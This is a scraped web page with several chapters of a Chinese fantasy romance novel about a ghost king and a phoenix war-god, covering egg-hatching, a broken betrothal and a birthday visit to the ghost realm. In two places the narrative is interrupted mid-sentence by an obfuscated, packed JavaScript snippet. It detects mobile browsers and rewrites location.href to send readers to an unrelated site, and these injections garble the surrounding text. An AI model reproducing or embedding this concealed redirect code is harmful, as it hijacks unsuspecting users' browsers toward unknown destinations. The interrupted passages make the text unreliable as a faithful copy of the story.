一种难以言喻的孤寂感,如同林间渐起的寒雾渗透四肢百骸。他守护了千万年的三界,他曾经并肩作战的同袍,似乎正以一种温和却坚决的方式,把他孤立、遗忘。 那种感觉,就好像他的身体正在悄悄的死亡。 凤渊极轻地笑了一声,带着些许自嘲。或许,他该学着像苍梧那样,只在乎自己在乎的便好?比如这片梧桐林,这些依赖他的小鸟,还有…… 思绪及此,耳垂上那枚一直安静的血色耳坠,忽然传来如同蝶翼振颤般的波动。紧接着,熟悉的鬼雾带着九幽气息的凉意,悄无声息的漫入了梧桐林。 凤渊没有回头。 他知道是谁来了。 那团黑雾并未像往常一样咋咋呼呼地直接扑过来,而是悄无声息地在他身侧凝聚,轮廓比平日更加沉静。雾气缓缓收缩,小心翼翼地,仿佛怕惊扰了他,也怕惊扰了他掌心下的脆弱生命。 雾气消失,人形出现,一张精致妖冶的脸出现在眼前,那双流转着星河的紫色眼睛更是美得惊心动魄。 凤渊回头,便看见让人难忘的眼睛:“你来了。” 苍梧自然而然坐在凤渊身旁,长臂一伸,将人搂入怀,“终于处理好了。这几日本王不在鬼界,有几个小鬼竟然密谋造反,搅乱阴阳秩序。不过,在本王面前,这些手段简直不自量力。” 凤渊目光落在掌心的鸟蛋上,笑着调侃,语气中却透露着疲惫:“谁这么大的胆子啊,竟然敢造鬼王苍梧的反,也不怕永世不得超生。” 苍梧道:“休要取笑本王。这种事情自本王掌管鬼界以来争权夺利,谋权篡位之事从未停止。” 凤渊道:“一直都有?从未听他们提起过……” 他们的印象中,似乎只有仙界频繁的更换君主,而鬼界的统治者自始至终都未换过。 他以为鬼界一直很太平。 现在看来,并不是啊。 苍梧道:“造反的都让本王杀了,仙界自然听不到消息。本王杀的鬼不计其数,总有些傻子不听教训,一个接一个的找死。” 凤渊笑道:“这么厉害啊,哪天我要是惹你不开心了,你会不会也让我魂飞魄散呀。” 苍梧道:“不会—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908445|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本王只想干死你。” 凤渊下意识捂紧了三枚小小的蛋,小声道:“嘘,不要带坏了小鸟崽。” 苍梧道:“几个未破壳的蛋听不见本王说的话。” 凤渊道:“听得见的。” 苍梧哦了一声,几乎笃定道:“凤凰,你不开心。” 凤渊不想开口说,说多了显得自己矫情。 苍梧的雾气微微翻涌了一下,一缕雾气试探性地、极轻地缠绕上凤渊垂落的手腕,那触感冰凉,却奇异地带着安抚的力量。 “他们眼盲心瞎,不识真神。”苍梧的声音里带着毫不掩饰的鄙夷,但很快又放柔了些,“小凤凰何须在意那些平庸之辈的看法?西南异动,仙鬼两界联手派人去查了,你不必太过担心。” 仙鬼两界联手……怕是非常棘手的事。 凤渊惊讶地看着苍梧:“你知道今天发生的事?” 苍梧道:“本王,无所不知。” “那无所不知的鬼王猜猜……”凤渊开口,声音里带着一丝不易察觉的笑意,“我后天会准时到鬼界吗。” 他说完,等待着苍梧的反应。听懂他的弦外之音,以苍梧霸道的性子,定会不满地闹腾起来。 然而,苍梧只是沉默了片刻。 缠绕在他手腕上的雾气缩了缩,随即,更加浓郁的幽冥气息弥漫开来,并非阴冷,反而带着温和的灵力,缓缓渡入凤渊掌心,与他自身的灵力一起,温养着那几枚鸟蛋。 “无妨。”苍梧的声音出乎意料地平静,甚至带着一丝纵容,“本王来梧桐林便是。” 凤渊微微一怔。 苍梧的雾气又凑近了些,几乎与他额角相抵,语气里带着一种近乎温柔的霸道:“本王不想让你做为难的事。你没办法去,本王便想办法来。” 两个人的故事,总要有一个人主动。 这句话在凤渊耳边反复回响,每一个字都带着沉甸甸的重量。千年来,他听过无数赞誉、敬畏与祈求,却从未有人毫无底线的迁就他,为他考虑。不是因为他战神的名号,不是因为他执掌的权柄,仅仅是因为他是凤渊。 他誓死守护的仙界视他为随时会造反的叛徒,而传言阴险狡诈,无情无义的鬼王,却将他的一切软弱与牵挂。 他真的不知道该说什么好了…… “至于生辰……”耳边似乎传来一声极轻的笑,“在哪里过并不重要。重要的是,和你一起。” 话音落下,周遭寂静,只剩小鸟们安稳的呼吸声。凤渊看着身旁这团似乎与往日有些不同的鬼雾,感受着腕间那坚定而温柔的缠绕,心中那因被仙界忽视而泛起的寒意,竟一点点被驱散。 或许,他并未失去所有。 至少,还有这片林,这些鸟,和这个愿意为他收敛锋芒的鬼王。 他轻轻嗯了一声,闭上了眼,将头微微靠在苍梧肩头:“苍梧,谢谢你。” 谢谢你出现在我的世界里。 让我不再孤单。 苍梧低头,亲了亲凤渊的额头:“你知道的,本王不喜欢听这个。” 凤渊:“那你想听什么?” 苍梧:“心悦你。” 凤渊:“我知道。” 苍梧:“嗯?” 凤渊轻咳一声:“我知道啊,你心悦我。” 苍梧道:“本王要听你说。” 凤渊:“说什么?” “凤渊!” “别那么大声,吵到小鸟们了。” “……” 苍梧气哼哼变成鬼雾,重重将凤渊包围,仔细看竟是一个鸟窝的形状。而凤渊也不再维持人形,变成火红的凤凰栖在黑雾中间,鲜亮温暖的羽毛下躺着几十颗颜色、形状各异的鸟蛋。 凤渊弯下修长的颈项,喙轻轻理了理翼下的蛋,随后脑袋靠在雾气的边缘。 这动作充满了完全的信赖。 雾中传来苍梧闷闷的声响,身下的黑雾涌动得更加温柔,甚至分出一缕,如冰凉的手指,轻轻梳理过凤凰颈后最柔软的那片绒羽。 凤渊舒适地闭上了眼。 仙界的是非,天帝的猜忌,明霏的逃避,在此刻都变得遥远而模糊。他守护三界千年,早已看淡生死名利,此刻,只贪恋苍梧构筑的巢穴。 16. 千年前的心跳(8) 第一缕熹微的晨光穿透梧桐林的枝叶,洒在凤凰璀璨的羽毛上时,一阵极其细微的摩擦声,打破了寂静。 随即越来越多的摩擦声响起,尽管已经非常小心翼翼,却还是惊动了闭目休息的凤渊。 凤渊骤然惊醒,银色的眼眸瞬间清明。 四周的树杈上不知何时落满了小鸟,他们颜色不一,种类不一,此刻却因为共同的信仰停留在这里。 他们歪着头,小小的圆圆的眼睛里写满了好奇,打量着自己。 好久没见过这么多鸟同时出现,凤渊还以为发生什么大事了,隐隐担忧:“怎么都聚集在此?” 他们争先恐后回答,唯恐与凤渊说不上话。 “好久没见过大人的真身啦!瞧瞧那身羽毛,像火焰一样漂亮……” “我们凤凰大人就是世上最漂亮的凤凰。” “这团黑漆漆的东西就是苍梧嘛?他不是和大人长得很像嘛?怎么又变成这样的了,好丑。” 安静的黑雾如同有了意识一样,分出一缕雾气,幻化成长长的手,一把抓住说这话的小鸟,恶狠狠得拽下一根尾羽。 小鸟挣脱雾手,扑着翅膀慌不择路地钻进了旁边一只体型稍大的鸟儿翅膀下,只露出一个瑟瑟发抖的小脑袋,再不敢看那团“黑漆漆的坏东西”。 苍梧幻化出的手得意地缩了回去,黑雾涌动,似乎还发出了一声极轻的、带着满足意味的哼声:“你才丑,秃鸟。” 凤渊将那小小的闹剧看在眼里,银色眼眸中闪过一丝无奈,却更多是纵容的笑意。 小鸟可怜巴巴地喊着大人。 凤渊笑笑,叼起自己的羽毛插在小鸟身上,并道:“他是为了帮助孵化你们的后代才变成现在这样。” 小鸟哦了一声,不情不愿说了谢谢,比起这个,更让他开心的是,得到了凤凰大人的羽毛。如果因为这样能得到凤凰大人用羽毛安慰,那他就算是被苍梧薅秃了也没关系。 其他小鸟似乎也是这么想的,伸着脖子冲苍梧交叫唤,说苍梧不好看,丑。 高傲的鬼王从未被那么多人嫌弃过,鸟更不行。苍梧幻化出鬼手,夺走小鸟从凤凰那里得到的羽毛插在自己身上,黑漆漆的云朵里插着一支红艳艳的羽毛,看起来有些滑稽。 “凤渊是本王的,他的羽毛自然也归本王。” “那是凤凰大人给我的!快还给我!” “本王,就不。” 雾和一群鸟吵了起来,争执之间那支漂亮的凤凰羽毛随风飘向林间,谁也没有得到。 凤渊笑着看他们,一脸地无奈:“你们啊……” 只有一只小麻雀躲在高处伤心地看着凤凰大人,凤凰大人有喜欢的人了……他一个普通的未化形的鸟,根本就配不上那么漂亮那么英勇的凤凰大人。 可是,还是好不甘心。 不甘心凤凰大人喜欢上别人。 脑海中闪过凤凰大人为自己插羽毛的一幕幕,小麻雀哭着大喊:“你根本就配不上凤凰大人!不配得到凤凰大人的爱!” 梧桐林忽然寂静。 所有小鸟歪着头看向小麻雀。 “你疯了吗?凤凰大人喜欢的我们都喜欢。” “你在说什么胡话,是在质疑凤凰大人的眼光吗。” 那团黑雾,此刻却异常安静。 没有预想中的暴怒,没有用鬼手去揪那麻雀的羽毛。苍梧只是缓缓地收回了那根被金色小雀鸟触碰过的手指。 翻涌的黑雾平静下来,轮廓变得清晰而凝实,仿佛在积蓄着什么。 一个高大的人出现在鬼雾之中。 凤凰身下的巢却没有因此消失。 苍梧看向那只小麻雀,紫眸中不再是戏谑或得意,而是一种深沉的、几乎要将对方灵魂看穿的审视。他没有看凤渊,所有的注意力都落在了那个敢质疑他“配不配”的小东西身上。 凤渊脸上的无奈笑意也渐渐敛去,银色的眼眸中闪过一丝复杂的情绪。他并未立刻出声呵斥小麻雀,只是静静地看着,仿佛想看清这突如其来的敌意根源何处。 在一片压抑的寂静中,苍梧终于开口。 他的声音不高,却能清晰地传入每一只鸟的耳中:“你说什么?” 周身黑雾涌动,一缕极细的雾气如同拥有生命的黑色藤蔓,悄无声息地蔓延到小麻雀面前。那雾气没有攻击,只是悬停在那里,散发出令人心惊胆战的幽冥气息。 “本王统御鬼界,执掌生死轮回时,你祖辈的祖辈尚未孵出。”苍梧的声音平淡,“三界之内,九天之上,黄泉之下,无人敢质疑本王。” “你算什么东西,竟然敢谈论我和凤渊之间的关系。” 话音落下的瞬间,那缕悬停的雾气猛地散开,化作无数细碎的黑色光点,如同逆行的星辰,缭绕在苍梧与凤渊周围,将他们的身影笼罩在一片朦胧的光晕之中。 苍梧没有伤害那只小麻雀,甚至没有再看它一眼。 但这种无声的宣告,比任何实质性的惩罚更具冲击力。 小麻雀被那强大的气场与冰冷的话语震慑,浑身僵硬,连哭泣都忘了,只是呆呆地看着那被幽冥气息环绕的,如同不可分割的一体的两道身影。 其他的鸟儿们也噤若寒蝉,它们或许不懂太多大道理,但本能地感受到了威压,那是属于上位者的绝对压制。 凤渊看着身侧气息凛然的苍梧,又看了看那只吓傻了的小麻雀,轻轻叹了口气。他并未反驳苍梧的话,只是稍微展翼,凤羽间流淌出温和的神力,如同暖风般拂过林间,驱散了些许冰冷的压迫感。 “心意之事,强求不得,亦诋毁不得。”他的声音依旧温和,既是说给小麻雀听,也是说给所有鸟儿听,“我与苍梧之间,不需任何人插手。” 他维护了苍梧,也保护了那只小麻雀最后的尊严。凤渊道:“今日时间不早了,各位都先回吧。” 群鸟惊飞,徒留小麻雀一只鸟站在枝头,安静看了好久好久,凤渊的笑,凤渊的好,凤渊的一切的一切迅速从脑海中闪过,晶莹剔透的泪滚落,随风消失在枯叶之中。 小麻雀深深看了凤渊一眼,然后飞走了。 梧桐林重回安静。 凤渊长长叹了一口气,低着头看着缄默的苍梧,“还在生气呢?” 苍梧道:“本王乃是鬼界之主,怎会跟一只尚未化形,且未开智的小鸟一般见识。” 凤渊笑着哦了一声,“我想看你的人形。” 苍梧哼道:“你也嫌弃本王这个样子不好看吗?本王告诉你,本王就是这个形态,无法改变,日后还会用这个形态干你。” 话是这么说,苍梧还是变出人形。 凤渊用灵力维持着鸟蛋之间的温度,然后自己变回人形,笑着亲了一口苍梧:“不是嫌弃你,是方便我亲你。” “你在鬼界事务繁琐,忙完琐事,便会来梧桐林寻我,陪着我。我希望我们在一起的时间是开心的,愉悦的,不会让你那么累的。” “我亲亲你,不要不开心了。” “我和你是最配的,天上地下,只有你苍梧一人能拥有凤渊的爱;也只有凤渊一人能得到苍梧喜欢。” 凤渊捧着苍梧的脸,抵着苍梧的额头,笑着与苍梧相视。 “跟你在一起,每一分每一秒都是开心的,”苍梧蹭了蹭凤渊的鼻梁,心情甚是愉悦,“只有凤渊能得到本王全部的爱。” 光线从两人鼻梁之间穿过,都变得暧昧起来。苍梧不怪那只小麻雀,他不屑于跟小麻雀争什么,反而他还明白小麻雀的心情,被凤渊这么温柔的对待怕是永远也不可能喜欢上别人了。 堂堂战神怎会有如此细腻的心思呢。 世人言,凤渊战神是三界最锋利的剑。 他却觉得,凤渊是这尘世最温柔的风。 微微吹过就叫人心神荡漾。 可能受到此刻温情的影响,窝中的一枚玉白色鸟蛋上,竟然出现了一道细小的裂纹。紧接着,是第二道,第三道……蛋壳上出现越来越多的裂缝。 凤渊笑笑,有些晃眼:“新的生命要诞生了。” 苍梧的鬼雾瞬间收敛,紫眸专注地看着眼前的一幕。 凤渊重新变回原型,小心翼翼地将那些布满裂纹的鸟蛋藏在身下,他的神力如同温润的暖流,轻柔地包裹住它们,既是保护,也是鼓励。 咔。 一小块蛋壳被顶开,一个湿漉漉、顶着些许绒羽的小脑袋费力地钻了出来,眼睛还未完全睁开,却本能地朝着凤渊的方向,发出细弱的啾声。 苍梧在一旁,安静地看着,他见过太多的死亡,从未这么近距离的观看新生。 他看着凤渊低垂的眉眼,那目光中的专注、温柔与耐心,胜过他见过的三界一切美景。他忽然明白,凤渊的力量,从来不止于征战和守护苍生,更在于这新生与哺育的瞬间。 小鸟缓了缓劲儿,抬起头,慢慢地,一点一点睁开了眼睛,先是看了看凤渊,然后,竟歪歪扭扭地转向了苍梧的方向。 它似乎并不惧怕那身冰冷的幽冥气息,反而好奇地,发出了一个微弱的单音:“叽。” 苍梧微微一怔。 凤渊也抬眼看向他,眼中带着浅浅的笑意,“它好像很喜欢你。” 鬼王犹豫了一下,几乎是屏住呼吸,伸出了一根手指。那指尖萦绕着若有若无的黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908446|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾,却在触碰到那小雀鸟软绒绒的脑袋前,将所有的阴寒死寂之气收敛得干干净净,只余下最本源的精纯力量。 小鸟用它嫩黄的喙,轻轻碰了碰他的指尖。 那一刻,苍梧感觉自己的心脏,被一种前所未有的、柔软而炽热的东西,狠狠撞了一下。他看向凤渊,紫眸中翻涌着复杂的情绪,以及一种近乎虔诚的温柔。 凤渊看着蹒跚学步的小雀鸟,轻声道:“苍梧,你看,新生。” 苍梧的目光却始终落在被晨光镀上金边的凤渊身上,凤凰大人真的很美,带着一种天帝都不曾拥有的神性光辉。 原来,新生往往伴随着更深刻的心跳声。 “嗯。”他低声回应,声音是从未有过的沙哑与笃定,“我看到了。” 在秋季的最后一天,梧桐林迎来了第一个小生命的诞生。西南方向的天际,毫无征兆地漫过一线诡异的暗红,如同天穹淌血。虽只一瞬便消散,但林中生灵皆感到一阵没由来的心悸。 几乎在同一时间,梧桐林外,仙气凛然而至,云霞铺路,仪仗威严。为首之人,正是许久未见的明霏仙君。他依旧一身白衣,风姿清绝,只是眉宇间凝着一抹化不开的忧悒与复杂。 “凤渊。”他立于林外,声音透过结界传来,带着几分不易察觉的艰涩,“贸然前来请你谅解……天帝说,你要解除婚约,此事可真?” 林内,凤渊抬起头,寻着声音的方向看过去。 苍梧的紫眸瞬间冷了下去,周身鬼雾无声翻涌。他嗤笑一声,声音不大,却清晰地传了出去:“你们不是一向听天帝的话吗?天帝都开了尊口,还能有假?解除了就是解除了,难不成你还想强娶凤渊不成?” 听见苍梧的声音,明霏脸色一白,抿紧了唇,目光越过结界,试图寻找凤渊的身影:“我来找凤渊。我和凤渊之间的事,是属于仙界的事,还请无关之人不要插手。” 苍梧冷笑一声,无关紧要……呵呵……无关紧要。 凤渊淡淡道:“天帝说的确实为真,是我要解除婚约,我已经有了心悦之人,一切安好,还请明霏不要再来打扰。” 听见心悦两个字,明霏真的着急,也不顾苍梧在场,急声道:“是谁?你真的对那鬼界之主有意?你可知鬼界之人各个阴狠无情,他靠近你定然有所图谋。” “况且……自古以来就没有仙鬼结亲一说。是天道不允。凤渊你是天界之人,不会不明白那个道理,不被天道看好的姻缘从来不会有好下场。” 凤渊想到自己毫无反应的姻缘线,心中也有结果,“我不需要天道看好。我现在一无所有,他能图我什么呢?” 一无所有四个字成了尖刺,狠狠刺进明霏的心,他当然不会忘记凤渊的一无所有是谁一手造成的。 也刺进了苍梧的心。 苍梧看着凤渊,温柔又强势:“你不是一无所有,你还有本王,还有鬼界,只要你想,万鬼都会听你号令。” 小凤凰。 别担心。 本王愿做你的梧桐枝。 以后本王就是你的归处。 凤渊眼中带着浅浅笑意:“我没那么贪心,一个就够了。” 苍梧轻笑:“本王贪心,贪一个名分。” 凤渊:“嗯?” 苍梧:“那什么籍籍无名之辈都能与你有婚约在身,有一个未婚夫的名分。本王都与你双修过,却还是个无关紧要之人,成何体统。” 凤渊有意逗他:“你想要什么名分?我想想啊,还真不知道呢……” 苍梧:“凤渊!” 凤渊眼睛弯弯,笑的像个小狐狸:“真不知道,还请鬼王大人说明白一些……” 明霏站在结界外,听着里面传来的温情温语,这一刻,深刻意识到,自己是真的再也挤不进凤渊的世界了。 心中泛起苦涩。 能怨谁呢? 怨自己胆小怕事。 若当年没有抛下凤渊…… 或许一切都不同了。 凤渊强大又美好,所有人都喜欢他。 明霏也不例外,甚至可以说对凤渊一见钟情,他永远记得,枝叶茂盛的梧桐林里,一袭粉衣的凤渊醉卧于梧桐枝上,凤眼迷离,泛着水润的光泽,只是淡淡一笑,便让人神魂颠倒。 美好的事物总是危险的,凤渊强大的可怕,所有人都没有资格近距离观看他。那个时候,他就想,若是凤渊没有那么强大,或许那只漂亮的凤凰就会低头看他一眼。 于是,他和天帝合谋,收回了凤渊的权利。 他天真的以为凤渊没了权利,凤渊就可以看到他的强大。实际上,只会让他和凤渊的关系越走越远。 17. 千年前的心跳(9) 赶在凤凰生辰的前一日,梧桐林迎来了最喧闹的时刻。 此起彼伏的咔咔声如同新生的乐章,一枚接一枚的鸟蛋在凤渊温暖羽翼的庇护下,相继破开。湿漉漉的小脑袋钻出,细弱的啾啾声汇聚成生命的大合奏。 得了新成员的雌鸟们激动地围绕在凤渊身边,鸣叫着表达感激,然后将自家雏鸟小心翼翼带回林间早已备好的温暖巢穴。 苍梧依旧维持着人形,沉默地立在枝干阴影处,看着凤渊忙碌而欣慰的身影,紫眸中也难得染上些许暖意。 那只最先破壳的金翎雏鸟,甚至大胆地跳到了他的靴面上,好奇地啄了啄那绣着暗纹的布料。 百鸟啼鸣,晨光盛大,为新生加冕。 喧嚣持续了一整天。 当最后一只被母亲接走的幼鸟消失在枝叶间,林间渐渐安静下来。夕阳的余晖将凤渊华美的羽毛镀上最后一层暖金。 他轻轻舒了口气,带着满足的笑意,低下头,准备清理身下用来筑巢的柔软枝叶。 然而,笑意在他看清巢穴中央时,凝固了。 那里,安静地躺着一枚蛋。 一枚毫无动静,蛋壳没有一丝裂缝的蛋。它混在破开的蛋壳碎片中,显得格外孤零零,了无生气。 凤渊银色的眼眸怔住了。他迟疑地,用喙尖极轻地碰了碰那枚蛋壳,触感冰凉,内里没有任何生命的回应。 他再次输送灵力,柔和绵长的暖流注入,却如同石沉大海,激不起半点涟漪。 他一遍又一遍,不厌其烦地用喙尖触碰,拨弄着那光滑的蛋壳,仿佛这样就能唤醒沉睡其中的小生命。灵力持续不断地温养,他的动作轻柔得近乎虔诚,带着固执的期盼。 可是,没有回应。 始终没有。 夕阳彻底沉入山中,暮色四合,林间最后一点暖意也被夜风带走。 凤渊终于停止了尝试。 他的脑袋低垂下来,长长的颈项弯成一个悲伤的弧度,银色的眼睛安静凝视着那枚死寂的蛋。周围是破碎的象征着成功的蛋壳,唯有这一枚,完整地宣告着失败。 一滴滚烫的液体,毫无征兆地从他银色的眼眸中滑落,砸在冰冷的蛋壳上,溅开一小片湿痕。紧接着,是第二滴,第三滴……无声无息,却带着千钧重量。 他守护了万千生灵,却没能护住掌心这一枚小小的蛋。他无颜面对那些将希望托付给他的鸟儿,更无法原谅自己的失职。 “……是我做得不够好。”极低的声音,带着难以抑制的哽咽,在寂静的暮色中破碎开来。 一直沉默旁观的苍梧,心口像是被那滚烫的泪狠狠灼了一下。他没有说话,只是走上前,玄色的衣摆拂过枝叶。他没有去看那枚蛋,而是伸出手,并非触碰凤凰华丽的羽毛,而是轻轻覆上了凤渊低垂的微微颤抖的脖颈,那里是凤凰原身时最脆弱、也最需要安抚的地方。 他的掌心冰凉,动作却带着坚定与温柔。 苍梧的声音低沉,打破了令人心碎的寂静,“你已经做的很好了。” 他微微用力,让凤渊的头靠向自己,冰冷的指尖拂过他眼角的湿痕,动作笨拙却无比珍重。 “生死有命,轮回有序。强求不得,并非你的过错。”他顿了顿,紫眸凝视着那枚蛋,语气平静,“它或许只是……选择了另一条路。存在于你羽翼下的这些时日,于它而言,已是最好。” 见凤渊依旧在自责中,苍梧沉默片刻,周身鬼雾缓缓涌动,一缕极其稀薄温和的雾气,如同拥有生命般,轻柔地缠绕上那枚冰冷的蛋,将其小心翼翼地包裹、托起,悬浮在两人之间。 “你看,”苍梧的声音放得更柔,“它的灵魂很安详,并未痛苦。你给予它的守护,是到生命的最后一刻。” 厚重的蛋壳上浮现出一个小小的魂魄。 “阿渊,”他唤他的名字,带着一种能让神魂安稳的力量,“快看。” 魂魄歪着头,仿佛通过坚硬的蛋壳看向未曾谋面的凤凰大人,小小的眼里带着未出世的笑意:“谢谢您,凤凰大人。” 那枚被幽冥雾气温柔包裹的蛋,在渐浓的夜色中,泛着微弱的莹光,仿佛真的只是沉入了安宁的长眠。 凤渊感受着颈间传来的、驱散寒意的冰凉触感,听着耳边低沉却笃定的话语,心中那巨大的缺口,似乎被一点点填补。他闭上眼,将脑袋更深地埋进苍梧的颈窝,汲取着这份独属于他的安慰。 夜色温柔,笼罩着相拥的他们,以及那枚被共同守护、直至终末的,小小的遗憾。 至少,没有人独自面对冰冷的长夜。 苍梧低着头看着睫毛上挂着泪珠的凤渊,心中猛地一颤,忽然明白了,他为何会喜欢凤渊。 就在这一瞬,他忽然彻底明了—— 为何会是他?为何偏偏是这只凤凰? 三界众生眼中,凤渊是亘古不灭的烈焰,是撑起苍穹的巨木,是战无不胜,守护一切的战神,凤渊强大,凤渊无所不能。 可只有他苍梧知道。 只有他见过烈焰摇曳将熄的瞬间,战神也会在无人知晓的角落,为了一枚未能破壳的生命,流露出无措与脆弱的一面。 他想守护的,从来不是被万众仰望的光芒万丈的躯壳。 而是这壳下,唯有在他面前才会悄然裂开一丝缝隙,让他得以窥见的,那份不为人知的柔软与脆弱。 这份脆弱,如此珍稀,如此真实,比任何辉煌的战绩都更让他心折,让他心甘情愿,倾尽所有去珍藏、去抚平。 他没有再用言语安慰,那些道理凤渊何尝不懂。 苍梧只是微微倾身,冰凉的唇极轻极珍重地吻去凤渊眼睫上那摇摇欲坠的湿意。动作轻柔得如同拂过初绽花瓣的夜风,带着不容错辨的怜惜。 “明日是你的生辰。”苍梧低声开口,“本王准备了礼物。” 凤渊依旧靠着他,闻言,银色的眼眸微微动了动,却没有抬头,只是闷闷地“嗯”了一声,带着浓重的鼻音。 苍梧的指尖缠绕着凤渊一缕垂落的发丝,继续道:“与这枚蛋有关。” 这句话果然让凤渊抬起了头。他眼眶还泛着红,眼中带着疑惑与一丝微弱的期盼。 苍梧道:“生死天定,阴阳平衡,本王自然不会因为私心复活他,本王可以让你再次见到他,让你知道他会过的很好。” 凤渊是仙界的人,不会不明白生死自有定数的道理,更不会无理取闹,要求苍梧把这只幼鸟复活。 “那若是我死了,你会把我复活吗?” 苍梧道:“不会。” 凤渊轻笑,心里却有点不舒服,每个人都有私心,尤其是在爱的人面前,总想得到绝无仅有的偏爱,他想听那句话,想听一句不顾一切也会站在自己身边的话。 苍梧道:“你不会死。有本王在,没人能伤你分毫。” 有这句话足够了。 凤渊笑道:“承蒙鬼王大人照顾了。” 两个人把这只未孵化的鸟蛋埋在了最古老的梧桐树下。这棵梧桐树的根最发达,蜿蜒曲折,总有一根能带着这个雏鸟的生命走向更遥远的地方。 那一日,恰逢鬼门大开,百鬼夜行,鬼界也迎来了一年之中最繁忙的时节。忘川河比往日更加汹涌,载着无数获得短暂假期、得以返回阳间探亲的鬼魂的船只往来不息。 河岸两旁,以及更远处的幽冥山峦间,飘荡起无数温暖的金色光点,那是来自人间的灯,如同逆流的星辰,缓缓飘向鬼界晦暗的天空,寄托着对亲人的思念与祈福,也指引着归途。 凤渊抵达鬼界时,看见望不到头的小道铺满了金灿灿的梧桐叶,不只是通往鬼殿的路,就连其他的小道都被铺满了梧桐叶,一座叫不出来的名字山,更是被金灿灿的梧桐叶环绕了一圈又一圈。 鬼界无阳,连小草都难以成活,这些梧桐叶哪里来的可想而知。凤渊心中触动,原来苍梧一直知道他的喜好,非梧桐不可栖。 路得两旁忽然出现拿着长矛的阴兵,规规矩矩迎接他的到来:“参见,鬼后。” 凤渊一愣,左看右看,确认四周没人后,才承认阴兵喊得是自己,他还想着低调一些,不让别人知道他和苍梧的关系,免得生出事端给苍梧带来不好的影响。 他只是一个被抛弃的没有价值的人,仙界知道他跟苍梧有来往后,都百般劝说阻拦,不敢想,若是身为鬼府之王的苍梧被别人知道跟仙界的人有染后会掀起什么样的波澜。 他还是小心低调,隐瞒关系为好。 阴兵道:“鬼后不必惊讶,鬼王已经将所有的事情安排妥当。今日为鬼门大开之日,小鬼还阳,为确保人鬼两界的秩序,鬼王正在看管一些恶鬼,暂时无法走开,特派小的接您,请您随小的前去。” 凤渊点头,还是忍不住询问:“听闻鬼界鲜少有植物生长,这遍地的梧桐叶,可是有梧桐树?” 阴兵道:“鬼后身份尊贵,非梧桐不栖,非醴泉不饮,鬼王差人寻来这些,连夜铺满鬼界的每一条路,希望鬼后在鬼界能像在梧桐林那样自在。” 凤渊轻轻一笑:“辛苦你们了。” 阴兵道:“不辛苦,这都应该做的。自从您出现,鬼王也不似之前那般冷酷无情,越来越有人情味,学会‘酌情处理’。” 以前的鬼王确实如传闻那般阴狠手辣,背叛者杀,忤逆者杀,一言不合就开杀……甚至可以说,鬼界这么多年的安宁,都是鬼王杀出来的。 造反的、有二心的、忤逆的都被杀了……自然就安宁了。 两个人向前走着,凤渊打量着路过的风景,仙界和鬼界很少交流,都愿意上天上去,没人愿意下来,仙界的人很少踏足鬼界。 他们对于鬼界的认知都是一些刻板的印象,深不见底的地狱,可怕的炼狱,食人夺魂的恶鬼……这些词常与鬼界挂钩。 今日一见,或许鬼界没他们说的那么可怕。 这里有仙界不曾有的人间情,也有数不尽的思念。长明灯连成一线,思念便无边无际。 明亮的火光照耀,鬼界也是温暖的。 脚下踩着咯吱作响的梧桐叶,凤渊走过了奈何桥,见到了传说中的孟婆,他看着那碗冒着泡泡的孟婆汤,非常好奇:“喝了这碗汤真的会忘记一切吗?” 孟婆声音平和无波:“忘川水,忘前尘。不过,是好是坏,谁又说得清。想必您就是鬼王天天挂在嘴边的十分黏人的鬼后吧。” 凤渊尴尬笑笑,问了个显而易见的问题:“您也知道我和苍梧的关系?” 孟婆道:“鬼王顶着那张与您七分相似的脸,整个鬼界谁会不知道呢?况且,鬼王心里藏不住事,每次从梧桐林回来,都会与我们说说和您发生的趣事,说您如何黏他,又如何体贴他……” “好了,我知道了。”凤渊顶着一张大红脸,目光尴尬的不知道放到哪好,这个苍梧,怎么还乱说!他什么时候黏人了! 原来整个鬼界都知道了……他也没有瞒下去的必要了。 凤渊想起苍梧说的话,眼眸是爱人的发色,发色是爱人的眸色,你中有我,我中有你,这样所有人都知道我们是一对儿了。 他们鬼界竟然不在乎仙鬼有别,鬼界的民风比仙界还要开放啊。 孟婆仿佛看出他心中所想,笑笑说:“都是鬼了,经历过生死,什么都没了,还在乎那些有的没的干什么呢。” 心思被看穿,凤渊露出一个腼腆的笑容。 与孟婆告别后,凤渊来到鬼殿,苍梧坐在高位处理事务,表情严肃,浑身上下散发着生人勿近的气息。 和在梧桐林吃醋、幼稚的苍梧两模两样,完全不是一个人。 察觉到熟悉的气息,苍梧立刻抬起头,起身下去迎接:“小凤凰,你来了。” 凤渊笑道:“我来看看我的生辰礼。” 苍梧撇嘴:“你只想你的生辰礼都不想本王吗?” 凤渊摇头:“还真不想。” 苍梧:“不许不想,本王要你一直想本王。” 下面的阴兵直呼没眼看,这还是曾经那个喜怒无常的暴君吗?! 凤渊低声在苍梧耳边说:“那里想行吗?” 苍梧一愣:“哪里想?你说清楚。” 凤渊道:“好话不说第二遍。” 苍梧抱着凤渊大步流星向自己的白骨王座上走,把人放在自己平常处理公务的地方,抬头看向跪在地上的阴兵:“你们都退下吧。” “是,鬼王。” 阴兵退下后,鬼殿格外安静。 鬼王之位,凤渊觉得自己坐着不妥,作势要起身:“苍梧,别闹。” 苍梧按住凤渊的肩膀,“本王没闹。” 凤渊道:“你……” 